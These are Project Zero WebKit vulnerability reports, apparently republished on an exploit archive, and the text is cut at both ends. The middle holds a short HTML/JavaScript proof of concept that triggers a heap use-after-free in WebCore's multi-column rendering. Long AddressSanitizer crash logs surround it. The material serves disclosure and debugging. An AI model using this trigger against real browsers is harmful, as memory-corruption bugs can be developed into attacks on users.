    #4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

previously allocated by thread T0 here:
    #0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8)
    #7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9)
    #8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388)
    #9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d)
    #10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb)
    #11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const
Shadow bytes around the buggy address:
  0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa
  0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30588==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1354

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<style>
.class9 { column-span: all; }
</style>
<script>
function f() {
  document.execCommand("indent", false);
  var var00031 = window.getSelection().setBaseAndExtent(sum,16,null,6);
  f();
}
</script>
<body onload=f()>
<pre style="column-count: 78; -webkit-user-modify: read-write">
<details>
<summary id="sum" class="class9">
<content id="htmlvar00040">

<!--
=================================================================

ASan log:

=================================================================
==732==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000089218 at pc 0x00010e8a4eab bp 0x7fff568795d0 sp 0x7fff568795c8
READ of size 8 at 0x611000089218 thread T0
==732==WARNING: invalid path to external symbolizer!
==732==WARNING: Failed to use and restart external symbolizer!
    #0 0x10e8a4eaa in WebCore::RenderObject::previousSibling() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa)
    #1 0x11101ce3e in WebCore::RenderObject::previousInPreOrder() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cbe3e)
    #2 0x111001c59 in WebCore::RenderMultiColumnSet::containsRendererInFlowThread(WebCore::RenderObject const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27b0c59)
    #3 0x110ffb18a in WebCore::findSetRendering(WebCore::RenderMultiColumnFlowThread const&, WebCore::RenderObject const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa18a)
    #4 0x110ffabf9 in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9bf9)
    #5 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #6 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #7 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #8 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #9 0x110d8a0c3 in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25390c3)
    #10 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #11 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #12 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #13 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #14 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #15 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #16 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #17 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #18 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #19 0x10f811acf in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0acf)
    #20 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #21 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #22 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #23 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #24 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #25 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #26 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #27 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #28 0x5be2c2a01027  (<unknown module>)
    #29 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #30 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #31 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #32 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #33 0x11c9bc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #34 0x11c93d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #35 0x11bf56731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #36 0x11bf569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #37 0x11bf56d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #38 0x10fa8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #39 0x10fea26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #40 0x10f20e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #41 0x10f20dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #42 0x10f0eb051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #43 0x10f0fac0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #44 0x10efedb0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #45 0x10efe7bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #46 0x10f39a3ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #47 0x10f39775c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #48 0x10f007523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #49 0x10f58b5d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #50 0x10f0a8693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #51 0x10f069736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #52 0x10eae5047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #53 0x10eadddf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #54 0x1115b5661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #55 0x109ea943b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #56 0x109eac6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #57 0x109eabbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #58 0x10969d117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #59 0x10947c695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #60 0x109485a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #61 0x11d3d78e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #62 0x11d3d81b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #63 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #64 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #65 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #66 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #67 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #68 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #69 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #70 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #71 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #72 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #73 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #74 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #75 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #76 0x10937e56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #77 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x611000089218 is located 24 bytes inside of 232-byte region [0x611000089200,0x6110000892e8)
freed by thread T0 here:
    #0 0x10cf97294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11d427650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ea1017 in WebCore::RenderElement::destroyLeftoverChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2650017)
    #3 0x110dc9db5 in WebCore::RenderBlockFlow::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578db5)
